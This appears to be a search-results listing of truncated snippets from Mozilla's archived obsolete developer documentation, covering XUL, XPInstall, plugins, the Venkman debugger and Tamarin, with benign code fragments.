...ulschoolhello.sidebar.title;" accesskey="&xulschoolhello.sidebar.accesskey;" type="checkbox" autocheck="false" group="sidebar" sidebarurl="chrome://xulschoolhello/content/sidebar.xul" sidebartitle="&xulschoolhello.sidebar.title;" oncommand="togglesidebar('xulschoolhello-sidebar');" /> </menupopup> the example in the mdc page includes a shortcut key combination to toggle the new sidebar.
Setting Up a Development Environment - Archive of obsolete content
exercise set up a new firefox profile for xul school.
... now that you know how to quickly monitor your project and test changes, we'll learn how to add new ui elements to firefox, through overlays and new windows.
Extensions support in SeaMonkey 2 - Archive of obsolete content
the statusbar in firefox 3 a new vbox has been added, called "browser-bottombox", which encloses the find bar and status bar at the bottom of the browser window.
... to make your overlay work on both seamonkey 2 and firefox 3: <window id="main-window"> <vbox id="browser-bottombox" insertbefore="status-bar"> <something insertbefore="status-bar" /> </vbox> </window> thunderbird 3 gfolderdisplay api seamonkey 2.0 only supports a reduced set of methods: selectedcount selectedmessage selectedmessageisfeed selectedmessageisimap selectedmessageisnews selectedmessageisexternal selectedindices selectedmessages selectedmessageuris messagedisplay gmessagedisplay api seamonkey 2.0 only supports a reduced set of methods: displayedmessage visible javascript tweaks firefox supports some shorthand in various places.
Session store API - Archive of obsolete content
new windows are opened as required (one for each window that was saved in the session store), and cookies and the list of recently closed tabs are restored.
... after that, the following steps are taken for each tab being restored: either an existing tab is reused or a new tab is created.
Add-ons - Archive of obsolete content
inline options firefox 7 supports a new syntax for defining extensions' preferences for both bootstrapped and traditional extensions.
... the user interface for the preferences defined with this new syntax appears in the extension's detail view in the add-on manager.
XML data - Archive of obsolete content
action: an xml demonstration make a new xml file, doc9.xml.
...</name> <area>13,000</area> <depth>1,200</depth> </ocean> <ocean> <name>atlantic</name> <area>87,000</area> <depth>3,900</depth> </ocean> <ocean> <name>pacific</name> <area>180,000</area> <depth>4,000</depth> </ocean> <ocean> <name>indian</name> <area>75,000</area> <depth>3,900</depth> </ocean> <ocean> <name>southern</name> <area>20,000</area> <depth>4,500</depth> </ocean> </planet> make a new css file, style9.css.
Getting the page URL in NPAPI plugin - Archive of obsolete content
there are at least 3 solutions (quoting newsgroup posts): via window location from robert platt: // get the dom window object.
...tradeoffs: uses npapi only works in most browsers does not work in mozillas older than firefox 1.0 via npp_newstream from braden mcdaniel: if you want the uri of the resource for which the plug-in is invoked, the most npapi-friendly way to do that is to get it from the npstream that is passed to npp_newstream.
Localizing an extension - Archive of obsolete content
we do this by creating a string bundle, using the following code: <stringbundleset id="stringbundleset"> <stringbundle id="string-bundle" src="chrome://stockwatcher2/locale/stockwatcher2.properties"/> </stringbundleset> this establishes a new string bundle, referenced by the id "string-bundle", whose keys and values are to be loaded from the stockwatcher2.properties file we've already created.
...adding more localizations to add another localization for a new language, all you need to do is add another line to the chrome manifest referencing the new locale.
Source Navigator - Archive of obsolete content
this triggers a splash screen, followed by a "source-navigator projects" dialog as the following: i've already created a new project bin.proj before documenting this.
... click "new project".
Visualizing an audio spectrum - Archive of obsolete content
nvas></div> <script> var canvas = document.getelementbyid('fft'), ctx = canvas.getcontext('2d'), channels, rate, framebufferlength, fft; function loadedmetadata() { channels = audio.mozchannels; rate = audio.mozsamplerate; framebufferlength = audio.mozframebufferlength; fft = new fft(framebufferlength / channels, rate); } function audioavailable(event) { var fb = event.framebuffer, t = event.time, /* unused, but it's there */ signal = new float32array(fb.length / channels), magnitude; for (var i = 0, fbl = framebufferlength / 2; i < fbl; i++ ) { // assuming interlaced stereo channels, /...
... var audio = document.getelementbyid('audio-element'); audio.addeventlistener('mozaudioavailable', audioavailable, false); audio.addeventlistener('loadedmetadata', loadedmetadata, false); // fft from dsp.js, see below var fft = function(buffersize, samplerate) { this.buffersize = buffersize; this.samplerate = samplerate; this.spectrum = new float32array(buffersize/2); this.real = new float32array(buffersize); this.imag = new float32array(buffersize); this.reversetable = new uint32array(buffersize); this.sintable = new float32array(buffersize); this.costable = new float32array(buffersize); var limit = 1, bit = buffersize >> 1; while ( limit ...
Working with BFCache - Archive of obsolete content
q: when a user clicks a link that replaces the view in the current tab with a new page, what is the fate of the nsidomwindow supporting the view they click on?
...when the user hits the 'back' button, either the window in bfcache is thawed or a new inner window is created, depending on whether there's a window in the bfcache.
ActiveX Control for Hosting Netscape Plug-ins in IE - Archive of obsolete content
use a tool such as guidgen.exe or uuidgen.exe to create the new guids.
... manual installation assuming you have the precompiled pluginhostctrl.dll and wish to install it on a machine, you must register it either through an install script or manually: regsvr32 pluginhostctrl.dll you must have administrator privileges to install a new control on operating systems such as windows nt, 2000 & xp.
Automated testing tips and tricks - Archive of obsolete content
es not quit the application on mac http://people.mozilla.com/~davel/scripts/ - look at quit.js and quit.xul install manifest file in appdir/chrome to map chrome://tests/content to directory containing quit.js and quit.xul example: content tests file:///users/davel/work/tests/ start app with command line flag -chrome chrome://tests/content/quit.xul how to create a new profile from the command line first, use the -createprofile command line flag to add a profile entry to profiles.ini and populate the new profile directory with a prefs.js file firefox-bin -createprofile "testprofile ${profile_dir}/testprofile" next, start firefox to populate the new profile directory with the rest of the default settings firefox-bin -p testp...
...in test scripts, <code>sleep 5 after the above command should ensure the profile is created before the next command in the test script is run how to enable dump in a new profile add user_pref("browser.dom.window.dump.enabled", true); to profiledir/user.js how to execute test code with chrome privileges using a chrome doc - see sbtests.xul in http://people.mozilla.com/~davel/scripts/ for an example firefox-bin -p sbtestprofile -chrome chrome://sbtests/content/ above code calls the quit function in quit.js to exit after test is finished how to detect content onload event from chrome use the domcontentlo...
Locked config settings - Archive of obsolete content
this file also needs to be "called" from c:\program files\mozilla.org\mozilla\defaults\pref\all.js by appending the following line at the end: pref("general.config.filename", "mozilla.cfg"); note: newer versions of mozilla or firefox store the all.js file in greprefs rather than defaults\pref the moz-byteshift.pl script allows to encode...: moz-byteshift.pl -s 13 <mozilla.cfg.txt >mozilla.cfg ...
...moreover, some settings (such as mail & news configuration) unfortunately seem to be inaccessible to mozilla.cfg, which means that these cannot be locked.
Compiling The npruntime Sample Plugin in Visual Studio - Archive of obsolete content
build create a new project in visual studio for a win32 gui library (dll) (in .net 2003: win32 template, then switch to dll in application settings in the following dialog, export symbols too?)(in visual studio 2008, it is visualc++|win32|win32 project, then check dll in the wizard).
... again note that the resulting dll filename must start with "np", so either call your project like this or rename the file later delete the .cpp and .h and readme files from the project and disk (if you did not create an empty project) copy the npruntime sample plugin source code into the dir of the new vs project and add the files to the project using the vs gui (.cpp files to "source files", .h files to "header files", .rc file to "resource files").
Enabling the behavior - retrieving tinderbox status - Archive of obsolete content
var gxmlhttprequest; function loadtinderboxstatus() { gxmlhttprequest = new xmlhttprequest(); gxmlhttprequest.onload = updatetinderboxstatus; gxmlhttprequest.open("get", "http://tinderbox.mozilla.org/seamonkey/panel.html"); gxmlhttprequest.send(null); } xmlhttprequest is an interface in mozilla for retrieving documents via http.
...we use new to create a new instance of it, set the instance's onload property to updatetinderboxstatus(), the function we want to execute when the document finishes loading, call its open method with the type of http request we want to make and the url of the document to retrieve, and then call its send method to send the request.
Making it into a static overlay - Archive of obsolete content
to make the file into a static overlay, we need to move all the code we added to navigator.xul into a new file tinderstatusoverlay.xul in the same directory: <?xml version="1.0"?> <?xml-stylesheet href="chrome://navigator/content/tinderstatus.css" type="text/css"?> <overlay id="tinderstatusoverlay" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <script type="application/javascript" src="chrome://navigator/content/tinderstatus.js" /> <statusbar id=...
...note that we've added a new attribute to the statusbarpanel element: insertbefore.
Download Manager improvements in Firefox 3 - Archive of obsolete content
in addition, you can augment or replace the download manager's user interface by implementing the new nsidownloadmanagerui interface.
... examples monitoring downloads an example showing how to use the new download manager apis to create a download log window that shows all past and present downloads and their status, including the start and end times of the downloads, the download speed, and more.
Drag and drop events - Archive of obsolete content
firefox 3 adds two new events that allow you to determine when drag operations begin and end.
... these events are new in the current working draft of the html 5 specification.
Building Firefox with Rust code - Archive of obsolete content
if you don't have rust already, use the rustup tool to install it and update as new releases become available, or use the ./mach bootstrap command.
... if you have new rust libraries that code in libxul calls directly, then you should add the appropriate extern crate lines in toolkit/library/rust/shared/lib.rs, and add those libraries (crates) as dependencies in toolkit/library/rust/cargo.toml.
Document Loading - From Load Start to Finding a Handler - Archive of obsolete content
api calls to load a new uri.
...this creates a new nsdocumentopeninfo object and sets it as the output streamlistener of the converter.
Downloading Nightly or Trunk Builds - Archive of obsolete content
a trunk build is a build made off the trunk, i.e., the latest, newest, but also least stable and most buggy state of the source.
...when people talk of "nightlies", they often mean "trunk nightlies", though there exist also "branch nightlies" which are somewhat less buggy but also not as "newest & greatest".
Style System Overview - Archive of obsolete content
econtextfor: for pseudo-elements (:first-letter, :before, etc.) resolvestylecontextfornonelement: skips rule matching and uses root rule node (text frame optimization) managing style contexts style context resolving functions will walk the rule processors in stylesetimpl::filerules, find the correct rule node, and find a current child of the parent (“sibling sharing”) or create a new child.
... dynamic changes to content reresolvestylecontext calculates differences (repaint, reflow, reframe, etc.) between style old and new style contexts and does appropriate cleanup it uses nsistylecontext::calcstyledifference, which only computes differences for structs that have been requested.
GRE - Archive of obsolete content
xulrunner: the new gre xulrunner is the new version of the gre, which not only allows embedding but is capable of bootstrapping entire xul applications such as firefox.
...embedders will need to set the ld_library_path environment variable and start a new process in order to embed a suite-based gre correctly.
importUserCertificates - Archive of obsolete content
it allows the ca or ra to indicate to the client whether to force the user to back up a newly issued certificate (pkcs #12).
... the importusercertificates() method is used to import newly issued certificates for the user.
JavaScript crypto - Archive of obsolete content
overview of the new cert issuing process user fills out enrollment form user action initiates script script calls key generation method (generatecrmfrequest) signing and encryption keys are generated encryption private key is wrapped with public key of key recovery authority (kra) (passed in in the form of a certificate as part of the script, and checked against a pre-installed certificate copy in the local c...
...*/); loading pkcs #11 modules long deletemodule(domstring modulename); long addmodule(domstring modulename, domstring libraryfullpath, long cryptomechanismflags, long cipherflags); loads or removes a new pkcs #11 module.
Simple Storage - Archive of obsolete content
if there are no notes, we'll show a// disabled "(empty)" menuitem.function updatejetpackmenu() { jetpack.menu.set({ label: "notes", menu: new jetpack.menu(notes.length > 0 ?
... if there's// a selection, add a note menuitem that makes a new note.
Simple Storage - Archive of obsolete content
function updatejetpackmenu() { jetpack.menu.set({ label: "notes", menu: new jetpack.menu(notes.length > 0 ?
... if there's // a selection, add a note menuitem that makes a new note.
Message Summary Database - Archive of obsolete content
mdb is a schema-less db interface, so it's trivial to add new attributes without regenerating the db, and it's trivial for older code to read newer databases, because the code can ignore but maintain the attributes it doesn't know about.
... if we were to replace mork, we could do it at the mdb level (unlikely, because implementing the mdb interface on top of a different db would be very hard), the nsimsgdatabase level (probably the easiest), or we could invent a whole new database interface and change all the code that uses the nsimsgdatabase interface.
NSC_SetPIN - Archive of obsolete content
syntax ck_rv nsc_setpin( ck_session_handle hsession, ck_char_ptr poldpin, ck_ulong uloldlen, ck_char_ptr pnewpin, ck_ulong ulnewlen ); parameters nsc_setpin takes five parameters: hsession [input] poldpin [input] .
... uloldlen [input] .; pnewpin [input] .; ulnewlen [input] .
Plugin Architecture - Archive of obsolete content
if a frame comes into existance independent of that, it tells the content node that it exists now (nsiobjectloadingcontent::hasnewframe).
...(the event is necessary because by the time hasnewframe is called, the frame isn't fully set up yet) in layout note: some of this should move to content an instance owner is created the window passed to the plugin is adjusted (the npwindow, http://devedge-temp.mozilla.org/libr...nt.html#999221) the plugin host is asked to instantiate the plugin this will call back to the instance owner / the object frame in order to create a widget to draw to (if the plugin is not windowless) nsplugininstanceowner::setwindow setwindow is called on the plugin ...
RDF Datasource How-To - Archive of obsolete content
the "rdf universe" consists of a set of statements about internet resources; for example, "my home page was last modified april 2nd", or "that news article was sent by bob".
...you'll probably need to choose this implementation if your datasource is "live", and may be modified or altered by some outside agent (e.g., new mail arriving).
Table Layout Regression Tests - Archive of obsolete content
select from the regression-test menu the add new list...entry.
... adding new regression tests once you have checked in the code: please add your testcase for the bug to the regression tests.
Abc Assembler Tests - Archive of obsolete content
when run, the assembler tests include the abcasm/abs_helper.as file which defines the following functions: start(summary:string):void - start a new test section described by summary end():void - test section finished compare_stricteq(name:string, expected:*, actual:*):void - compare the results of a testcase where name is the testcase name compare_typeerror(name:string, expected:*, actual:*):void - special function for comparing typeerrors (runtimeerrors) - will only compare the first 22 chars of expected and actual so that test can be r...
... * * ***** end license block ***** */ function main() { getlocal0 pushscope findproperty start pushstring "instructions that start with the letter l" callpropvoid start 1 newfunction .function_id(runtest) getlocal0 call 0 findproperty end callpropvoid end 0 returnvoid } function runtest() { // test null <= null == true findproperty compare_stricteq pushstring "null lessequals null" // testname pushtrue // expected pushnull pushnull lessequals // actual callpropvoid compare_stricteq 3 // use .try / .catch to cat...
Running Tamarin performance tests - Archive of obsolete content
specifying both --index and --saveindex will merge the values specified in --index to the new saved indexfile.
... cumulative score: new option of --score will display a cumulative score for every metric.
Tamarin build documentation - Archive of obsolete content
the work for that fix also included some changes to the configure.py default behavior to decouple the --target switch from sdk choice: there is a new switch, --mac-sdk, that selects the 10.4u, 10.5 or 10.6 sdk.
... note: if you receive an error when trying to run/debug a newly imported project, try opening a file in the project first - eclipse can sometimes get confused as to what the 'current project' actually is.
Tuning Pageload - Archive of obsolete content
the idea here is twofold.this reduces ugly visual jitter as the new page comes in by not starting painting till after we have a bunch of the data.this makes overall page load time shorter by not doing extra repaints very early on.
... in particular, the way things work right now is that the parser and content sink construct the dom; then every so often, the content sink lets the rendering model constructor (nscssframeconstructor) know that there are new dom nodes.
Venkman Internals - Archive of obsolete content
as with any complex application, aspects of the design may not be clear for new readers of the source.
... scriptwrapper newsgroup, 2002, rgrinda here is a bit more information about how venkman tracks files and functions...
Using Breakpoints in Venkman - Archive of obsolete content
the onflipx function in figure 1, for example, uses the variable newsign to figure out what image to use for the fish.
...stopped there, venkman displays the value of the newsign variable as "1" in the local variables view.
Venkman - Archive of obsolete content
venkman development page older news and releases.
... mailing list newsgroup rss feed irc: #venkman on irc.mozilla.org report a bug in venkman if you find a problem with venkman, please follow directives mentioned at venkman faq section 5.4 and then you may report a bug on javascript debugger component.
XBL 1.0 Reference - Archive of obsolete content
the element with a binding specified, called the bound element, acquires the new behavior specified by the binding.
... bindings can contain event handlers that are registered on the bound element, an implementation of new methods and properties that become accessible from the bound element, and anonymous content that is inserted around the bound element.
Using XPInstall to Install Plugins - Archive of obsolete content
extension, theme, and plug-in developers must switch away from install.js based packages to the new packaging scheme with an install.rdf manifest.
...porting smartupdate deployments to xpinstall is trivial after gaining some familiarity with the new xpinstall api.
InstallTrigger.installChrome - Archive of obsolete content
when a user clicks the link "install the new blue theme" in the example below, xpinstall downloads, registers, and installs the theme contained in newblue.xpi to the user's profile directory.
... <a href="#" onclick="installtrigger.installchrome( installtrigger.skin, 'http://wildskins/newblue.xpi', 'newblue/1.0');"> install the new blue theme</a> ...
dirCreate - Archive of obsolete content
dircreate creates a new directory.
...example f = getfolder("program", "mynewdirectory"); err = file.dircreate(f); ...
dirRename - Archive of obsolete content
method of file object syntax int dirrename( filespecobject directory, string newname ); parameters the dirrename method has the following parameters: directory a filespecobject representing the directory to be renamed.
... newname the new terminal (or leaf) name of the directory.
rename - Archive of obsolete content
method of file object syntax int rename( filespecobject file, string newname ) parameters the rename method has the following parameters: file a filespecobject representing the file to be renamed.
... newname the new terminal (or leaf) name of the file.
Methods - Archive of obsolete content
extension, theme, and plug-in developers must switch away from install.js based packages to the new packaging scheme with an install.rdf manifest.
... methods dircreate creates a new directory.
File Object - Archive of obsolete content
extension, theme, and plug-in developers must switch away from install.js based packages to the new packaging scheme with an install.rdf manifest.
...overview the file object has methods for analyzing the file system and preparing it (as when new directories, program shortcuts, version comparisons, or deletions are required) for newly installed software packages.
refreshPlugins - Archive of obsolete content
description refreshplugins lets you register new plug-ins without having to restart the browser.
... when you use this method in an installation script, as the example below demonstrates, you can install new plug-ins and use them to display the requested media in a web page without interrupting the experience of the user.
writeString - Archive of obsolete content
value the new value.
... example to set the name of the wallpaper file from the desktop section of the win.ini file, use this call: ini = getwinprofile (getfolder("windows"), "win.ini"); ini.writestring ("desktop", "wallpaper", "newpathname"); ...
XPJS Components Proposal - Archive of obsolete content
at this point the module will use the (new) methods on the components object to register itself with the component manager as a factory module for one or more classid or progid.
...any subsequent requests from the component manager that would result in nsgetfactory calls into the module will force the xpjsmanager to load up a new instance of the .js file and start over.
XTech 2006 Presentations - Archive of obsolete content
work on this compiler and the new features of js2 is presented by the inventor of javascript.
... etna, a wysiwyg xml relax ng- and gecko-based editor - daniel glazman this presentation describes etna, a new wysiwyg xml editor based on gecko, the relax ng parser and validator disruptive innovations implemented for it and its query api, and relax ng extensions that were necessary to solve very old and well known problems in markup languages.
closebutton - Archive of obsolete content
« xul reference home closebutton obsolete since gecko 1.9.2 type: boolean if this attribute is set to true, the tabs row will have a "new tab" button and "close" button on the ends.
...you can set an image to the "new tab" and "close" buttons by applying them to the tabs-newbutton and tabs-closebutton classes respectively.
minresultsforpopup - Archive of obsolete content
« xul reference home minresultsforpopup new in thunderbird 3requires seamonkey 2.0 type: integer the minimum number of results that must be returned for the popup to be displayed.
...new in thunderbird 3requires seamonkey 2.0 a zero value will always open the popup.
Attribute (XUL) - Archive of obsolete content
increment index inputtooltiptext insertafter insertbefore instantapply inverted iscontainer isempty key keycode keytext label lastpage lastselected last-tab left linkedpanel max maxheight maxlength maxpos maxrows maxwidth member menu menuactive min minheight minresultsforpopup minwidth mode modifiers mousethrough movetoclick multiline multiple name negate newlines next noautofocus noautohide noinitialfocus nomatch norestorefocus object observes onbeforeaccept onbookmarkgroup onchange onclick onclosetab oncommand oncommandupdate ondialogaccept ondialogcancel ondialogclosure ondialogextra1 ondialogextra2 ondialoghelp onerror onerrorcommand onextra1 onextra2 oninput onload onnewtab onpageadvanced onpagehide onpagerewound ...
...ected selectedindex seltype setfocus showcaret showcommentcolumn showpopup size sizemode sizetopopup smoothscroll sort sortactive sortdirection sortresource sortresource2 spellcheck src state statedatasource statusbar statustext style subject substate suppressonselect tabindex tabscrolling targets template timeout title toolbarname tooltip tooltiptext tooltiptextnew top type uri useraction validate value var visuallyselected wait-cursor width windowtype wrap wraparound ...
Working With Directories - Archive of obsolete content
note that nsifile.append() modifies the file object, rather than returning a new one.
...var dir = io.getfile("desktop", "myfiles"); dir.append("pictures"); if (dir.exists() && dir.isdirectory()) alert("this is a directory"); creating directories you can create a new directory by using nsifile.create().
Getting File Information - Archive of obsolete content
in this case, the new part of the file will be filled with empty data.
... var lastmod = new date(file.lastmodifiedtime); in this example, a date object is created using the modification time of a file.
Uploading and Downloading Files - Archive of obsolete content
the formdata object can then simply be passed to xmlhttprequest: function upload(posturl, fieldname, filepath) { var formdata = new formdata(); formdata.append(fieldname, new file(filepath)); var req = new xmlhttprequest(); req.open("post", posturl); req.onload = function(event) { alert(event.target.responsetext); }; req.send(formdata); } http put you can also upload a file using an http put operation.
... function uploadput(posturl, filepath) { var req = new xmlhttprequest(); req.open("put", posturl); req.setrequestheader("content-type", "text/plain"); req.onload = function(event) { alert(event.target.responsetext); } req.send(new file(filepath)); } in this example, a new input stream is created for a file, and is passed to the xmlhttprequest's send method.
How to implement a custom XUL query processor component - Archive of obsolete content
moved: function() { } }; // basic wrapper for nsisimpleenumerator function templateresultset(aarrayofdata) { this._index = 0; this._array = aarrayofdata; } templateresultset.prototype = { queryinterface: xpcomutils.generateqi([components.interfaces.nsisimpleenumerator]), hasmoreelements: function() { return this._index < this._array.length; }, getnext: function() { return new templateresult(this._array[this._index++]); } }; // the query processor class - implements nsixultemplatequeryprocessor function templatequeryprocessor() { // our basic list of data this._data = [ {name: "mark", age: 36, hair: "brown", eye: "brown"}, {name: "bill", age: 25, hair: "red", eye: "black"}, {name: "joe", age: 15, hair: "blond", ey...
... // eventually we should read the <query> to create filters return this._data; }, generateresults: function(adatasource, aref, aquery) { // preform any query and pass the data to the result set return new templateresultset(this._data); }, addbinding: function(arulenode, avar, aref, aexpr) { // add a variable binding for a particular rule, which we aren't using yet }, translateref: function(adatasource, arefstring) { // if we return null, everything stops return new templateresult(null); }, compareresults: function(aleft, aright, avar) { // -1 less, 0 ==, +1 greater ...
List of commands - Archive of obsolete content
find browser:findagain browser:findprev browser:forward browser:home browser:managebookmark browser:open browser:openfile browser:print browser:printpreview browser:savepage browser:searchinternet browser:sendpage browser:uploadfile cmd_bm_copy cmd_bm_cut cmd_bm_delete cmd_bm_expandfolder cmd_bm_export cmd_bm_find cmd_bm_import cmd_bm_managefolder cmd_bm_movebookmark cmd_bm_newbookmark cmd_bm_newfolder cmd_bm_newseparator cmd_bm_open cmd_bm_openinnewtab cmd_bm_openinnewwindow cmd_bm_paste cmd_bm_properties cmd_bm_rename cmd_bm_selectall cmd_bm_setnewbookmarkfolder cmd_bm_setnewsearchfolder cmd_bm_setpersonaltoolbarfolder cmd_bm_sortfolder cmd_bm_sortfolderbyname cmd_close cmd_closeothertabs cmd_closewindow cmd_copy cmd_copyimage cmd_copylink cmd_cut...
... cmd_delete cmd_editpage cmd_findtypelinks cmd_findtypetext cmd_gotoline cmd_handlebackspace cmd_handleshiftbackspace cmd_minimizewindow cmd_neweditor cmd_neweditordraft cmd_neweditortemplate cmd_newnavigator cmd_newnavigatortab cmd_newtabwithtarget cmd_openhelp cmd_paste - paste a selection from the clipboard cmd_printsetup cmd_quit cmd_redo cmd_savepage cmd_scrollpagedown cmd_scrollpageup cmd_selectall cmd_switchdocumentdirection cmd_switchtextdirection cmd_textzoomenlarge cmd_textzoomreduce cmd_textzoomreset cmd_undo cmd_viewcomponentbar cmd_viewlinktoolbar cmd_viewlinktoolbar_false cmd_viewlinktoolbar_maybe cmd_viewlinktoolbar_true cmd_viewnavbar cmd_viewpersonaltoolbar cmd_viewtaskbar cmd_zoomwindow thanks for help of joe.user0 in compiling: http:/...
addTab - Archive of obsolete content
ArchiveMozillaXULMethodaddTab
}) return type: tab element opens a new tab that loads a page with the specified url.
...it also adds the relatedtocurrent parameter; firefox uses this to decide whether the new tab should be inserted next to the current tab.
appendItem - Archive of obsolete content
« xul reference home appenditem( label, value ) return type: element creates a new item and adds it to the end of the existing list of items.
...the function returns the newly created element.
appendNotification - Archive of obsolete content
« xul reference home appendnotification( label , value , image , priority , buttons, eventcallback ) return type: element create a new notification and display it.
... if another notification is already present with a higher priority, the new notification will be added behind it.
loadTabs - Archive of obsolete content
if loadinbackground is true, the tabs are loaded in the background, and if replace is true, the currently displayed tabs are replaced with the specified uris instead of adding new tabs.
... the properties of params are following: boolean inbackground boolean replace boolean allowthirdpartyfixup tab targettab number newindex object postdatas number usercontextid ...
menulist.appendItem - Archive of obsolete content
« xul reference home appenditem( label, value, description ) return type: element creates a new menuitem element and adds it to the end of the menulist.
...the function returns the new item.
Menus - Archive of obsolete content
<menubar id="sample-menubar"> <menu id="file-menu" label="file"> <menupopup id="file-popup"> <menuitem label="new"/> <menuitem label="open"/> <menuitem label="save"/> <menuseparator/> <menuitem label="exit"/> </menupopup> </menu> </menubar> there are five tags used in this example, described briefly here: menubar a row of menus that appears along the top of the window or screen.
... it should be noted that setting the active item in this way will not affect the selected property or selected attribute of the previously and newly activated item.
Popup Guide - Archive of obsolete content
in addition, an extension may add an entirely new menu.
... for example, an extension might wish to add a new command on the tools menu to open a dialog specific to the extension.
RDF Query Syntax - Archive of obsolete content
this is new data, so the builder adds it to the graph.
...this is because the builder copies the existing data for each new potential result and adds the new data.
Recursive Generation - Archive of obsolete content
after generating a result's content, the builder starts again using a new parent and starting point.
... naturally, the parent will be the new result's content, rather than the outer containing element, and the starting point will be the endpoint of the previous iteration.
Using Recursive Templates - Archive of obsolete content
after the data is generated, each result is used as the new reference point for a nested iteration of the template.
...the content of the action body is again generated for each result, but instead of being inserted inside the outermost groupbox, this new content is inserted inside the content generated from the previous iteration.
Code Samples - Archive of obsolete content
here are the names and uris of some windows: thunderbird configuration const name = "preferences:configmanager" const uri = "chrome://global/content/config.xul" passwords const name = "toolkit:passwordmanager" const uri = chrome://messenger/content/preferenc...wpasswords.xul" mail & newsgroups const name = "mail:3pane" const uri = "chrome://messenger/content/" sunbird passwords* const name = "toolkit:passwordmanager" const uri = "chrome://passwordmgr/content/passwordmanager.xul" seamonkey navigator const name = "navigator:browser" const uri = "chrome://navigator/content/" ...
... mail & newsgroups const name = "mail:3pane" const uri = "chrome://messenger/content/" composer const name = "composer:html" const uri = "chrome://editor/content/" address book const name = "mail:addressbook" const uri = "chrome://messenger/content/addressbo...ddressbook.xul" irc chat const name = "irc:chatzilla" const uri = "chrome://chatzilla/content/" calendar const name = "calendarmainwindow" const uri = "chrome://calendar/content/" * at the time of writing, sunbird's passwords window is broken close the current window to close the window containing the button, possibly leaving other windows open: close() exit the applicatio...
Adding Methods to XBL-defined Elements - Archive of obsolete content
if the name doesn't exist, then a new window is opened and the specified resource is loaded into its browsing context.">window.open().
...then, the new binding will be added in its place and its constructor invoked.
Adding Properties to XBL-defined Elements - Archive of obsolete content
for example, the following field is given a default value equal to the current time: <field name="currenttime"> new date().gettime(); </field> properties sometimes you will want to validate the data that is assigned to a property.
...the onset handler is similar but is called whenever a script attempts to assign a new value to the property.
Creating Dialogs - Archive of obsolete content
these arguments are passed to the new dialog and placed in an array stored in the new window's arguments property.
...for example: var fl = window.arguments[0]; document.getelementbyid('thefile').value = fl; this is an effective way to pass values to the new window.
Creating a Window - Archive of obsolete content
the xul window will appear in the browser window as opposed to a new window, but this is often sufficient during the early stages of development.
...no new syntax is necessary as you can use the window.open() function as one can do for html documents.
Document Object Model - Archive of obsolete content
for example, the following two lines which open a new window are functionally equivalent: window.open("test.xul","_new"); open("test.xul","_new"); when you declare a function or a variable at the top level of a script, that is outside another function, you are actually declaring a property of the global object.
... the window's open() method also returns a reference to the new window so you can call functions of the new window from the opener.
Install Scripts - Archive of obsolete content
components include new chrome packages, skins and plugins.
... when a new component is installed, the registry gets updated.
List Controls - Archive of obsolete content
two new elements are used.
...the text the user enters is not added as a new choice.
Modifying the Default Skin - Archive of obsolete content
larger changes can be done by creating an entirely new skin.
... see also : creating a skin for firefox and css getting started in the next section, we will look at creating a new skin.
Open and Save Dialogs - Archive of obsolete content
var nsifilepicker = components.interfaces.nsifilepicker; var fp = components.classes["@mozilla.org/filepicker;1"].createinstance(nsifilepicker); fp.init(window, "select a file", nsifilepicker.modeopen); first, a new file picker object is created and stored in the variable 'fp'.
...(returnok will be returned when the user entered the name of a new file.) you should check the return value and then get the file object from the file picker using the file property.
Using Remote XUL - Archive of obsolete content
eeper/there.is.only.xul"> <menubar> <menu label="the mozilla organization"> <menupopup> <menuitem label="at a glance" value="https://www.mozilla.org/mozorg.html" /> <menuitem label="feedback" value="https://www.mozilla.org/feedback.html" /> <menuitem label="get involved" value="https://www.mozilla.org/get-involved.html" /> <menuitem label="newsgroups" value="https://www.mozilla.org/community.html" /> <menuitem label="license terms" value="https://www.mozilla.org/mpl/" /> <menuitem label="newsbot" value="https://www.mozilla.org/newsbot/" /> </menupopup> </menu> <menu label="developer docs"> <menupopup> <menuitem label="roadmap" value="https://www.mozilla.org/roadmap.html...
...item label="bug writing" value="https://www.mozilla.org/quality/bug-writing-guidelines.html" /> </menupopup> </menu> <menu label="tools"> <menupopup> <menuitem label="view source" value="https://lxr.mozilla.org/seamonkey/" /> <menuitem label="tree status" value="https://tinderbox.mozilla.org/showbuilds.cgi?tree=seamonkey" /> <menuitem label="new checkins" value="https://bonsai.mozilla.org/cvsquery.cgi?treeid=default&amp;..." /> <menuitem label="submit a bug" value="https://bugzilla.mozilla.org/" /> </menupopup> </menu> <button label="faq" value="https://www.mozilla.org/faq.html" /> <button label="search" value="https://www.mozilla.org/search.html" /> </menubar> <iframe ...
XUL accessibility tool - Archive of obsolete content
future work the following things have been suggested or are planned for a future version of the tool: new tests: (aaronlev) warning: hardcoded color and pixel sizings (aaronlev) error: duplicate accesskey in a dialog (already have this for menus) (aaronlev) error: form control without accesskey (aaronlev) warning: accesskey as lowercase letter with descender (underlined g,j,y,q,p are hard to read, not recommended) (aaronandy) list of things to check manually, such as a list oftrees in the docume...
... new features: (aaronlev) automatically test any new windows as they are opened.
XUL Coding Style Guidelines - Archive of obsolete content
in the new world, mozilla 5.0, this is not true any more.
... author: tao cheng newsgroup discussion mailing list original document information author(s): tao cheng last updated date: december 10, 2004 copyright information: copyright (c) tao cheng ...
datepicker - Archive of obsolete content
to change the selected date, the value property may be used to set a new value in the form yyyy-mm-dd.
... a monthchange event is fired for the grid and popup datepickers whenever a new month is navigated to or displayed.
image - Archive of obsolete content
ArchiveMozillaXULimage
the new behavior aligns more with the html <img> element and shrinks both the width and height down proportionally.
...if you change the image, the event will fire again when the new image loads.
menupopup - Archive of obsolete content
moveto( x, y ) return type: no return value moves the popup to a new location defined by screen coordinates (and not client coordinates).
... sizeto( width, height ) return type: no return value changes the current size of the popup to the new width and height.
notificationbox - Archive of obsolete content
mespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata appendnotification( label , value , image , priority , buttons, eventcallback ) return type: element create a new notification and display it.
... if another notification is already present with a higher priority, the new notification will be added behind it.
prefwindow - Archive of obsolete content
animate(aoldpane, anewpane) this probably isn't a public method (?) canceldialog() return type: no return value cancels the dialog and closes it, similar to pressing the cancel button.
...if a window of the type is not open, a new one is opened displaying the supplied url.
promptBox - Archive of obsolete content
method overview nsidomelement appendprompt(args, onclosecallback); void removeprompt(nsidomelement aprompt); nodelist listprompts(nsidomelement aprompt); methods appendprompt() creates a new prompt, adding it to the tab.
... return value an nsidomelement object representing the new prompt.
scrollbox - Archive of obsolete content
